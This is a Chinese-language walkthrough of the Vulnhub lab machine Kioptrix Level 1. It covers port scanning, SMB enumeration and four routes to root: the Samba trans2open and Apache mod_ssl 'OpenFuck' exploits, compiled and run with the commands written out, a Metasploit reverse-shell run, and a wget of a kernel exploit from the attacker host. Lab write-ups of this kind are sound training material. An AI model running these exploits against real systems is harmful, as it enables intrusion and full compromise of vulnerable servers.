Kioptrix: Level 1 (#1) 古老的Apache Samba VULN

这篇具有很好参考价值的文章主要介绍了Kioptrix: Level 1 (#1) 古老的Apache Samba VULN。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

🔥系列专栏:Vulnhub靶机渗透系列
🔥欢迎大佬:👍点赞⭐️收藏➕关注
🔥首发时间: 2023年8月20日
🌴如有错误 还望告知 万分感谢

目录
  • 基本信息
  • 信息收集
    • 主机发现、端口扫描、服务枚举、脚本漏扫(nmap)
    • PORT 111 rpcbind
    • PORT 139 SMB (enum4linux、smbclient)
    • PORT 22 SSH
    • 目录扫描(dirsearch、gobuster)
    • PORT 80/443 http/https
  • 二次收集
    • SMB版本探测
  • shell as root
    • 1、(CVE-2003-0201)Samba RCE
    • 2、(CVE-2003-0201)Samba trans2open溢出
    • 3、(CVE-2003-0651)Apache RCE
    • 4、(CVE-2002-0082)Apache SSL远程缓冲溢出
  • 思路总结
  • 技巧

基本信息

Kioptrix: Level 1 (#1),Vuluhub简单难度靶机。这个靶机的目标是通过任何可能的方式获得 root 访问权限,学习脆弱性评估和利用的基本工具和技术,没有太多的花里胡哨,公开漏洞的筛选和利用需要做出权衡,也许过程中会因为其他的发现而发生策略性的变化,其中的搜索、筛选、权衡、比对、工具技巧才是重点。这里选择了两种服务利用的提权方式,尝试了四种利用。希望你借此机器,能够感同身受地思考你攻击测试方向的选择。

名称 说明
靶机下载链接 https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
作者 Kioptrix
发布日期 17 Feb 2010
难度 easy
攻击机(kali) ip:192.168.80.148
靶机(CentOS) ip:192.168.80.177

信息收集

主机发现、端口扫描、服务枚举、脚本漏扫(nmap)

nmap 192.168.80.0/24 -sn --min-rate 1000
nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
nmap 192.168.80.177 -sU --top-ports -oA nmap_resule/portudp_scan
nmap 192.168.80.177 -p $port -sT -sV -O -sC -oA nmap_result/server_info
nmap 192.168.80.177 -p $port --script=vuln -oA nmap_result/vuln_info

port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',') 

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

开放端口:tcp 22,80,111,139,443,1024

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd
443/tcp open ssl/https Apache/1.3.20
1024/tcp open status

PORT 111 rpcbind

searchsploit rpcbind
nmap -sSUC -p111 192.168.10.1

没有枚举出其他值得注意的服务

PORT 139 SMB (enum4linux、smbclient)

enum4linux枚举,smbclient连接共享

enum4linux 192.168.80.177

smbclient --no-pass //192.168.80.177
smbclient --no-pass //192.168.80.177/IPC$
smbclient --no-pass //192.168.80.177/ADMIN$
smbclient "\\\\192.168.80.177\\IPC$"

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

探测到了共享:ADMIN$ ,可匿名登录但拒绝访问文件

PORT 22 SSH

searchsploit openssh 2.9

能尝试的有用户名枚举

目录扫描(dirsearch、gobuster)

未找到隐藏文件和其他目录

dirsearch -u "http://192.168.80.177" -o dirsearch_info
gobuster dir -u http://192.168.80.177 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info

PORT 80/443 http/https

都是Apache默认页面,尝试从其他服务方面入手

二次收集

SMB版本探测

服务枚举未探测扫samba的版本,使用MSFsmb_version模块探测版本信息。

 msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.80.177; set RPORT 139; run; exit'

Unix (Samba 2.2.1a)

shell as root

1、(CVE-2003-0201)Samba RCE

尝试Samba远程代码执行 Samba < 2.2.8 (Linux/BSD)- Remote Code Excution,对应的是10.c
根据EXP注释中的语法规则编译执行

searchsploit samba 2.2
searchsploit samba -m 10

gcc 10.c -o ./shellasroot
./shellasroot -b 0 -v 192.168.80.177

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

成功获得root权限

2、(CVE-2003-0201)Samba trans2open溢出

Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)

需要使用 MSF exploit/linux/samba/trans2open模块,设置 payload linux/x86/shell_reverse_tcp

searchsploit samba 2.2
searchsploit samba 2.2 -m 9924

msfconsole -q -x 'use exploit/linux/samba/trans2open; set RHOSTS 192.168.80.177; set LPORT 5555;set payload linux/x86/shell_reverse_tcp; run; exit'

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

成功拿到root

3、(CVE-2003-0651)Apache RCE

尝试apache远程代码执行漏洞 Apache 1.3.x mod_mylo - Remote Code Execution对应的是67.c
根据EXP注释中的语法规则编译执行

gcc 67.c -o 67test
./67test -t 192.168.80.177 -T 1

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

成功拿到root权限

4、(CVE-2002-0082)Apache SSL远程缓冲溢出

<1>尝试apache远程缓存溢出Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c'Remote Buffer Overflow(1),对应的是764.c。

gcc 764.c -o test764

<2>gcc编译时提示未找到 openssl/ssl.h ,具体情况是安装 libssl-dev找不到相应的头文件,尝试安装各种库后仍失败了,查阅资料后,能编译成功做法是修改764.c,或者ubuntu中对原来764.c进行编译。但不幸尝试了两种方法进行编译后依旧报错,尝试执行依旧不行。

<3>最后在764.c的前段注释中找到了方法。

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

<4>尝试 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)

依据注释进行编译

searchsploit -m 47080
gcc -o 47080 47080.c -lcrypto
./47080 0x6b 192.168.80.177 443 -c 50

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

<5>执行时,需要要指定打入的内存参数,从80端口推测靶机为 RedHat,使用0x6b成功拿到shell

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

拿到网站apache权限

但发现获得apache权限时,会自动下载ptrace-kmod.c后gcc编译,提示 'Unable to establish SSL connect',
kali中下载 ptrace-kmod.c到本地,查看注释是内核漏洞提权。使用py开启http服务将文件摆渡到靶机/tmp下,再次重新执行./47080

//kali
python3 -m http.server --bind 0.0.0.0 9000

//靶机 apache权限
cd /tmp
wget http://192.168.80.148:9000/ptrace-kmod.c

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

Kioptrix: Level 1 (#1)  古老的Apache Samba VULN

拿到root权限

思路总结

一、主机发现、端口扫描

  • 22(ssh):只能尝试爆破
  • 80(http):优先考虑
  • 111(rpc):放最后
  • 139(NetBIOS/SMB):特定EXP
  • 443(https):优先考虑
  • 1024:动态端口的开始,许多程序并不在乎用哪个端口连接网络,它们请求系统为它们分配下一个闲置端口。

二、服务枚举。

  • Apache 1.3.20
  • Samba 2.2.1a(MSF探测版本)
  • mod_ssl 2.8.4
  • OpenSSL 0.9.6b

三、发现web站点是apache默认页面并无太多有价值信息,则着手从各个服务出发,在对SMB服务进行枚举后发现存在共享,尝试无密码访问却无权浏览文件,则将攻击方向转变为各个服务,通过对公开漏洞进行搜索,并尝试了Samba服务和Apache服务的四个漏洞利用,均拿到了root权限。最后,这台靶机不难但也要做出反思:

  • 对于攻击者而言,一个小小的泄露可能会引起他的攻击兴趣。

  • 思考自己的操作是否会引发重大安全事件(例如严重的溢出)

  • 需要随时盘点获得的信息,并对其进行判断,重要的是思路的拓展和细节的把控,即使走不通的也有其中的尝试和思考。(Apache mod_ssl/Apache-SSL 远程缓冲溢出)

技巧

  1. 端口整理技巧
    port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')
  2. searchsploit通过本地的exploit-db查找软件漏洞信息.也可以在exploit-db上查询和下载exp
    searchsploit xx(exp关键字) -m xx(文件) ,直接保存至当前目录,方便gcc编译。
  3. nmap探测不到 samba 的版本时,可尝试 msf 模块 auxiliary/scanner/smb/smb_version
  4. msfvenom 生成时使用的 payload 最好要与 msfconsole handler 中使用的 payload 要一致。否则可能收到响应,但没有 shell。
  5. rpcbind 就是服务端管理 rpc 服务的软件,而rpc 是远程过程调用。可以通过 nmap 获知服务端提供的 rpc 服务,根据不同的服务,相关利用参考

参考链接
字符截取命令
ack The Kioptrix Level-1

本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担。
转载请标明出处:https://www.cnblogs.com/wsec/文章来源地址https://www.toymoban.com/news/detail-660263.html

到了这里,关于Kioptrix: Level 1 (#1) 古老的Apache Samba VULN的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • C语言——最古老的树

    归纳编程学习的感悟, 记录奋斗路上的点滴, 希望能帮到一样刻苦的你! 如有不足欢迎指正! 共同学习交流! 🌎欢迎各位→点赞 👍+ 收藏⭐ + 留言​📝 缺乏明确的目标,一生将庸庸碌碌! 一起加油! 目录 一、题目描述 二、输入输出格式 输入格式 输出格式 三、输入输

    2024年02月04日
    浏览(39)
  • 对称加密原理 - 一种古老的加密方式

    哈希是打开加密货币的第一把钥匙,我们已经深度剖析了如何证明工作量、梅克尔树如何检测防篡改以及区块链牵一发而动全身的链式结构,为学习加密货币奠定良好基础。我们今天讨论对称加密技术的基本原理。 请大家关注 gitcoins抖音频道 ,我们将会分享有趣的、高质量

    2024年02月01日
    浏览(42)
  • 【区间 DP】运用区间 DP 解决古老原题

    这是 LeetCode 上的 「664. 奇怪的打印机」 ,难度为 「困难」 。 Tag : 「区间 DP」 有台奇怪的打印机有以下两个特殊要求: 打印机每次只能打印由 同一个字符 组成的序列。 每次可以在任意起始和结束位置打印新字符,并且会覆盖掉原来已有的字符。 给你一个字符串 s ,你的

    2024年02月07日
    浏览(39)
  • 关于古老的jsp页面的知识汇总(超详细)

     面对需要将大量的结果,甚至是一整个html页面返回给响应体,之前的方法就显得十分麻烦。 之前我们是这样将结果返回给响应体的,如下图: 于是就设计了jsp文件,用来解决,将大量的内容存放到响应体并且展示的情况,并将这种操作封装起来,让我们只管使用jsp页面就

    2023年04月15日
    浏览(24)
  • SPEC CPU 2006 在 CentOS 5.0 x86_64 古老系统测试【3】静态编译 invalid run

    上篇 SPEC CPU 2006 在 CentOS 5.0 x86_64 古老系统测试【2】_hkNaruto的博客-CSDN博客 修改gcc41.cfg,全部添加上-static 测试指令 结果:正常运行并生成报告  invalid run   Copyright 2006-2023 Standard Performance Evaluation Corporation System Vendor (Test Sponsor: Test Sponsor (Optional, defaults to hw_vendor)) System Model

    2024年02月16日
    浏览(37)
  • sqli 靶场 Level23-Level30 wp

    level-23 (注释被过滤) 抓包 略 寻找注入点 ● id=1’,id=1’\\\',成周期性变化 POC ● POC: id=1’+and+extractValue(1,concat(0x7e,user()))–+’ 结果:failed。怀疑–被过滤掉了,试试前后闭合方案 ● POC: id=1’+and+extractValue(1,concat(0x7e,user()))+and+’ 结果:ok。 level-24(二次注入) 这一关比较特殊

    2024年02月06日
    浏览(42)
  • Unity VR:Oculus Integration 中 OVRManager 的 Eye Level,Floor Level,Stage 的区别

    此教程相关的详细教案,文档,思维导图和工程文件会放入 Spatial XR 社区 。这是一个高质量知识星球 XR 社区,博主目前在内担任 XR 开发的讲师。此外,该社区提供教程答疑、及时交流、进阶教程、外包、行业动态等服务。 社区链接: Spatial XR 高级社区(知识星球) Spatial

    2024年02月13日
    浏览(47)
  • 264 编码 profile level 分析

    H.264是一种广泛使用的视频压缩标准,它利用先进的算法和技术,可以将高清视频压缩到相对较小的文件大小,而且不会影响视频的质量。在H.264中,编码profile和level是非常重要的概念,本文将会对它们进行详细分析。 一、H.264编码profile H.264编码profile是用来描述视频压缩的方

    2023年04月08日
    浏览(33)
  • 算法学习-链表-level1

    part1:单向链表 1、构造 2、创建节点并初始化 3、基础操作-增删 首先写出打印函数方便后续的检验 接下来写出获取链表长度的函数,目的是检验接下来插入时的边界的的检验 准备工作结束~  那么接下来正式开始链表的增删操作 这里的增加节点的操作需要注意的是对于每一种

    2024年02月14日
    浏览(43)
  • 【记录】Samba|Windows 11的Samba连接切换用户

    Samba是一个用于共享文件和打印机的网络协议,可以使不同的操作系统之间共享文件和资源变得容易。在Windows 11上,可以使用Samba来连接到网络共享。 如果您想在Windows 11上切换用户并连接到另一个Samba共享,可以按照以下步骤操作。 打开文件资源管理器并单击“网络”选项卡

    2023年04月25日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包